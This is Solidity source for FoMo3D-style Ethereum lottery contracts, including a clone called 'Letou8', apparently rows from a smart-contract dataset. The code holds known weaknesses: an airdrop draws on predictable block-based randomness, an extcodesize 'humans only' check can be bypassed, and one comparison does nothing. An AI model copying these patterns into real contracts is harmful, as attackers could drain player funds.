uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
FeeAddr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
FeeAddr.transfer(_com);
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x11e52c75998fe2E7928B191bfc5B25937Ca16741,
"only team zethr can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000)) / 50;
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()) * 50;
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable;
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,414 |
pragma solidity ^0.4.24;
contract Letou8events {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is Letou8events {}
contract Letou8 is modularShort {
using SafeMath for *;
using NameFilter for string;
using Letou8KeysCalcLong for uint256;
address community_addr = 0x8B55bc87097356cC22aABae8Dc85cDC2f6526672;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xfA795c9072a786AE5a2f909Ef53f7C6276AA6A52);
string constant public name = "Letou8";
string constant public symbol = "Letou8";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Letou8datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Letou8datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => Letou8datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => Letou8datasets.TeamFee) public fees_;
mapping (uint256 => Letou8datasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = Letou8datasets.TeamFee(30,0);
fees_[1] = Letou8datasets.TeamFee(43,0);
fees_[2] = Letou8datasets.TeamFee(56,0);
fees_[3] = Letou8datasets.TeamFee(43,8);
potSplit_[0] = Letou8datasets.PotSplit(15,0);
potSplit_[1] = Letou8datasets.PotSplit(20,0);
potSplit_[2] = Letou8datasets.PotSplit(25,0);
potSplit_[3] = Letou8datasets.PotSplit(30,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Letou8datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Letou8datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Letou8datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
Letou8datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Letou8datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Letou8datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
Letou8datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
Letou8datasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Letou8events.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit Letou8events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Letou8events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Letou8events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit Letou8events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, Letou8datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit Letou8events.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, Letou8datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
